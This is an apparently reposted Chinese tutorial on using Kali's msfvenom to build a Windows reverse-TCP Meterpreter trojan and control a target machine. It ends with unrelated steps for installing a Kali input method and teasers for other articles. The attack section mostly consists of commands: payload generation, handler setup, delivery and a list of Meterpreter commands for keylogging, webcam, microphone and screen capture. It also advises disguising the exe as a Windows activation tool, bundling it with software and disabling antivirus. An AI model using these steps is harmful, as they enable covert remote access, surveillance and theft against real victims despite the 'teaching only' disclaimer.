kali入侵电脑

news2024/11/17 14:39:20

kali入侵电脑

注意:本文仅用于教学目的

1 kali制作exe控制电脑(msfvenom)

kali是黑客常用的系统,里面集成了很多的攻击软件,这里我给大家演示一种使用kali制作.exe文件来控制自己电脑的方式。

msfvenom a Metasploit standalone payload generator,Also a replacement for msfpayload and msfencode.是用来生成后门的软件。
MSFvenom是Msfpayload和Msfencode的组合,将这两个工具都放在一个Framework实例中。自2015年6月8日起,msfvenom替换了msfpayload和msfencode。

1.1 生成后门文件.exe(木马)

鼠标右键打开终端(open terminal),进入管理员模式

sudo su
# linux系统密码是隐藏的,直接输入完之后回车即可

生成后门文件:

msfvenom  -p  windows/meterpreter/reverse_tcp  LHOST=本地kali的ip  LPORT=本地kali且未占用端口号 –f exe –o 文件名.exe

例如:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.98 LPORT=9999 -f exe -o hacker.exe

在这里插入图片描述

参数:
-p payloads
-f 输出格式
-o 输入地址
-e 编码方式(msfvenom -l -encoder可以查看能使用的编码)
-x | -k 绑定程序(例如-x C:\test.exe -k -f exe -o C:\shell.exe)

即生成一个后门文件hacker.exe(我这里是将文件名命名为hacker的)

本地ip写自己Kali的IP地址,用ifconfig就能查看自己Kali的IP地址
本地端口自己随便设置一个没有被占用的端口号,如果端口号被占用那么文件会生成失败,换一个端口号就性
文件名可以随便写自己喜欢的名字,比如写Win10激活工具,可能更容易让目标主机上钩
当然MSF也可以用来渗透手机、mac、Linux等

1.2 配置参数

  1. 运行msfconsole
msfconsole
  1. 选择模块
msf>use exploit/multi/handler
  1. 设置负载
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
  1. 配置端口和ip
set lhost  加ip地址       set lport 加端口号
  1. 查看参数配置
show options

(1)命令: use exploit/multi/handler(选择模块)
(2)命令: set payload windows/meterpreter/reverse_tcp(选择攻击模块)
(3)命令: set LhOST 192.168.32.1(填写自己主机的IP地址)
(4)命令: set lport 1111(填写刚才生成文件时的端口号)
(5)命令: show options(查看设置参数)
(6)命令: exploit -z -j(后台执行)

在这里插入图片描述
6. 执行

# 后台执行
exploit -z -j 
# 直接执行
exploit

1.3 将木马发送到目标靶机windows

通过VMTools或者通过其他传输方式,将hacker.exe发送到本地windows

  • 我们可以在root文件夹下找到我们生成木马:
    在这里插入图片描述
  • 通过VMtools拖动到本地windows,然后双击执行:
  • 这个木马很可能被杀毒软件检测出来,需要提前关闭杀毒软件
  • 我们这里也可以把这个程序伪装一下,把他的图标改一下,或者把它捆绑在某些软件上面,当用户打开就自动安装到对方电脑上面

在这里插入图片描述

1.4 查看结果

查看上钩用户:

sessions

在这里插入图片描述
选择攻击第1个目标:

sessions -i 1

出现meterpreter你就已经成功的入侵的对方的电脑

1.5 操作靶机

  • 监控靶机屏幕:

VNC:virtual network console 虚拟网络控制台

run vnc -i

在这里插入图片描述

  • 上传文件到靶机

注意:linux是严格区分大小写的,填写文件名的时候需要注意

在这里插入图片描述
结果:
在这里插入图片描述

  • 其他命令:

cmd指令:
cat 读取文件内容到屏幕
cd 更改目录
checksum 检索文件的校验和
cp 将源复制到目标
del 删除指定文件
dir 列出文件(ls 的别名)
下载 下载文件或目录
编辑 编辑文件
getlwd 打印本地工作目录
getwd 打印工作目录
lcd 更改本地工作目录
lls 列出本地文件
lpwd 打印本地工作目录
ls 列出文件
mkdir 创建目录
mv 将源移动到目标
pwd 打印工作目录
rm 删除指定文件
rmdir 删除目录
search 搜索文件
show_mount 列出所有挂载点/逻辑驱动器
upload 上传文件或目录
pkill 按名称终止进程

meterpreter命令
keyscan_start 开始捕获击键(开始键盘记录)
keyscan_dump 转储按键缓冲(下载键盘记录)
keyscan_stop 停止捕获击键(停止键盘记录)
record_mic X秒从默认的麦克风record_mic音频记录(音频录制)
webcam_chat 开始视频聊天(视频,对方会有弹窗)
webcam_list 单摄像头(查看摄像头列表)
webcam_snap 采取快照从指定的摄像头(摄像头拍摄一张照片)
webcam_stream 播放视频流从指定的摄像头(开启摄像头监控)
enumdesktops 列出所有可访问的桌面和窗口站(窗体列表)
getdesktop 得到当前的Meterpreter桌面
reboot 重新启动远程计算机
shutdown 关闭远程计算机
shell 放入系统命令 shell
enumdesktops 列出所有可访问的桌面和窗口站
getdesktop 获取当前的meterpreter桌面
idletime 返回远程用户空闲的秒数
keyboard_send 发送击键
keyevent 发送按键事件
keyscan_dump 转储击键缓冲区
keyscan_start 开始捕获击键
keyscan_stop 停止捕获击键
mouse 发送鼠标事件
screenshare 实时观看远程用户桌面
screenshot 抓取交互式桌面的屏幕截图
setdesktop 更改 Meterpreters 当前桌面
uictl 控制一些用户界面组件
record_mic 从默认麦克风录制音频 X 秒
webcam_chat 开始视频聊天
webcam_list 列出网络摄像头
webcam_snap 从指定的网络摄像头拍摄快照
webcam_stream 播放来自指定网络摄像头的视频流
play 在目标系统上播放波形音频文件 (.wav)
getsystem 尝试将您的权限提升到本地系统的权限
execute -f notepad 打开记事本

1.6 kali安装输入法

  1. 查看内核版本
uname -a

在这里插入图片描述
2. 配置阿里镜像源

如果不配置,kali会从国外下载软件,速度会非常慢

vim /etc/apt/sources.list
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
 
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
 
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
 
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
 
#官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
 
deb http://mirrors.163.com/debian/ jessie main non-free contrib
deb http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie main non-free contrib
deb-src http://mirrors.163.com/debian/ jessie-updates main non-free contrib
deb http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib
deb-src http://mirrors.163.com/debian-security/ jessie/updates main non-free contrib

在这里插入图片描述

  1. 同步索引,升级软件包
 apt-get update && apt-get upgrade

如果内核版本过低,就会报如下错误:
kali-rolling &&apt-get update 报错-GPG erro

  • 使用旧版kali经常会发生apt-get update 报错 -GPG error, invalid key
    【由于没有公钥,无法验证下列签名】

在这里插入图片描述

解决办法:

  • 添加公钥:

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6# 最后这部分就是上面那个NO_PUBKEY 后面的一坨

在这里插入图片描述
4. 安装fcitx

apt-get install fcitx

顺利的话会自动安装成功,如果遇到依赖错误,按提示修复或者输入apt-get -f install修复

重新更新软件包:

apt-get update
  1. 安装fcitx-libs-qt
apt-get install fcitx-libs-qt

如果提示有依赖没有安装,可以用apt-get --fix-broken install安装

  1. 下载google输入法,并重启:
apt-get -y install fcitx-googlepinyin
# 过程中如果有询问,直接输入y

# 重启电脑 
reboot
  1. 配置输入法
    在这里插入图片描述

如果你的配置中没有Google的话,需要添加输入法

在这里插入图片描述

注意:添加之后一定要将Google拼音移到最前面,这样才会表示默认输入法使用Google

  1. 双击Google拼音所在栏,将键盘布局调整为汉语:
    在这里插入图片描述
  2. 测试:
    在这里插入图片描述

参考:
https://blog.csdn.net/RFZ_322/article/details/123367668

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/186183.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue2 和Vue 3的区别

Vue 2 和 Vue 3的区别 1.双向数据绑定原理不同 Vue2 的双向数据绑定是利用ES5的一个APIObject.definePropert() 对数据进行劫持,结合发布订阅模式的方式来实现的。 Vue3 中使用ES6的Proxy API对数据代理。 Vue3 使用数据代理的优势有以下几点:1&#x…

深圳MES系统如何助力注塑企业实现数字化发展

家用电器、电子产品、日用品、医疗保健、汽车零部件、新能源以及建筑、玩具等行业对注塑制品需求量日益增长。注塑企业提供的各式各样注塑产品已深入到经济生活的各个领域,为国家经济的各个部门包括轻工业和重工业提供关键的支持。 现状 现在注塑企业的注塑机工作…

RTP协议基本分析(RTSP、WebRTC使用)

1、介绍 实时流传输协议(RTSP:Real Time Streaming Protocol)是一种网络传输协议,旨在发送低延迟流。 该协议由RealNetworks,Netscape和哥伦比亚大学的专家在1996年开发。它定义了应如何打包流中的数 据以进行传输。 …

【GD32F427开发板试用】INA226完成电流电压采集

本篇文章来自极术社区与兆易创新组织的GD32F427开发板评测活动,更多开发板试用活动请关注极术社区网站。作者:จุ๊บ冰语 前言 本次有幸参与并通过了极术社区组织的【GD32F427开发板试用】活动,让我对国产兆易创新的GD32处理器有了更深刻的…

Scala系列之:函数式编程

Scala系列之:函数式编程一、面向对象编程和函数式编程二、函数基本语法三、函数和方法的区别四、函数定义五、函数参数六、函数至简原则七、匿名函数一、面向对象编程和函数式编程 面向对象编程: 解决问题,分解对象,行为&#x…

【最新消息】苹果放出新大招??!!

各位开发者新年快乐,许久没有更新了,近期我收到反馈意思遇到苹果回复的新政策,不知道各位开发者有没有碰到过,我也会在下文提出我的猜测,要是有开发者也遇到了同样的问题,欢迎一起交流哦。 疑似新政策&…

【寒假每日一题】洛谷 P1088 [NOIP2004 普及组] 火星人

题目链接:P1088 [NOIP2004 普及组] 火星人 - 洛谷 | 计算机科学教育新生态 (luogu.com.cn) 题目描述 人类终于登上了火星的土地并且见到了神秘的火星人。人类和火星人都无法理解对方的语言,但是我们的科学家发明了一种用数字交流的方法。这种交流方法是…

vue-query 初探

vue-query,类似于vuex/pinia,以缓存为目的,但侧重的是对网络请求的缓存。 这是我预想的使用场景:假设在各个页面都需要发起相同的请求,去获取数据,而这种数据在一定时间内不会发生变化,那么这种…

【JavaWeb】带你走进Maven

文章目录1 什么是Maven?2 Maven 常用命令3 Maven 生命周期4 Maven 坐标详解5 IDEA 导入 Maven 项目1 什么是Maven? 如今我们构建一个项目需要用到很多第三方的类库,如写一个使用Spring的Web项目就需要引入大量的jar包。一个项目Jar包的数量之多往往让我们瞠目结舌…

线程execute()与submit()区别

线程池中有两个提交任务的方法 向线程池提交任务的两种方式大致如下: 方式一:调用execute()方法 方式二:调用submit()方法 一、区别 以上的submit()和execute()两类方法的区别在哪里呢?大致有以下三点: 1.二者所接收…

引入“ 自动化测试 ”都需要满足哪些条件?

📌 博客主页: 自动化软件测试 📌 专注于软件测试领域相关技术实践和思考,持续分享自动化软件测试开发干货知识! 📌 如果你也想学习软件测试,文末卡片有我的交流群,加入我们&#xff…

由浅入深,聊聊 LeakCanary 的那些事

引言 关于内存泄漏,Android 开发的小伙伴应该都再熟悉不过了,比如最常见的静态类间接持有了某个 Activity 对象,又比如某个组件库的订阅在页面销毁时没有及时清理等等,这些情况下多数时都会造成内存泄漏,从而对我们Ap…

linux内核-内存管理

linux内核内存管理 注意!内核空间和用户空间都是处于虚拟空间中 Linux的虚拟地址空间范围为0~4G,Linux内核将这4G字节的空间分为两部分 内核空间: 最高的1G字节(从虚拟地址0xC0000000到0xFFFFFFFF)&…

RTSP,RTP,RTCP协议

一 RTSP 1 简介 实时流传输协议,是一个应用层协议(TCP/IP网络体系中),它是一个多媒体播放控制协议,主要用来使用户在播放流媒体时可以像操作本地的影碟机一样进行控制,即可以对流媒体进行暂停/继续、后退和…

SAP FICO 关于资产的详细解析

SAP资产模块概述 一、概述 资产(AA)模块是资产会计模块的简称,是财务会计(FI)模块的一个子模块,主要处理与各类长期资产相关业务的模块。不单指固定资产,也不泛指资产负债表中的资产&#xff0c…

Week4

1.试题 历届真题 时间显示【第十二届】【省赛】【B组】 思路 不难发现,应该从小时往秒处理,这样可以用O(1)的时间复杂度求出,不过有比较麻烦的进位处理。 先看里面可以拼成几个小时,然后得到的小时%24,然后把总时间减去小时的时间,再看有多少分钟,分钟%60,都是此时判断分…

vue多环境配置之 .env配置文件

Vue之.env环境配置文件 .env文件是运行项目时的环境配置文件。但是在实际开发过程中,有本地环境、测试环境、预生产、生产环境等等,不同环境对应的配置会不一样。因此,需要通过不同的.env文件实现差异化配置。 * 文章目录Vue之.env环境配置文…

【JAVA核心知识】46:什么是零拷贝Zero-copy

零拷贝相较于传统的IO流程拥有更高的数据发送效率,无论是RocketMq,Kafka还是Netty等都用到了零拷贝技术,那究竟什么是零拷贝呢,零拷贝又是通过什么方式提升数据发送效率呢? 首先我们要明白,一次数据发送过程就是将磁盘…

Java基础--方法

前言:介绍 Java 中方法的基本语法、分类、执行并分析参数传值。 关键字:方法、形参、实参、返回值、实例方法、静态方法、参数传值 程序引例–为什么要「方法」 public class IntroduceOfMethod {// 入口主方法。public static void main(String[] args…

docker 高级篇

一、DockerFile 1.1、概述 dockerfile 是用来构建docker镜像的文本文件,是由一条条构建镜像所需的指令和参数构成的脚本。 为什么要有dockerfile呢 在基础篇我们讲过,比如我们下载个 ubuntu镜像里面不包含 vim、ifconfig等组件,这个时候 新增…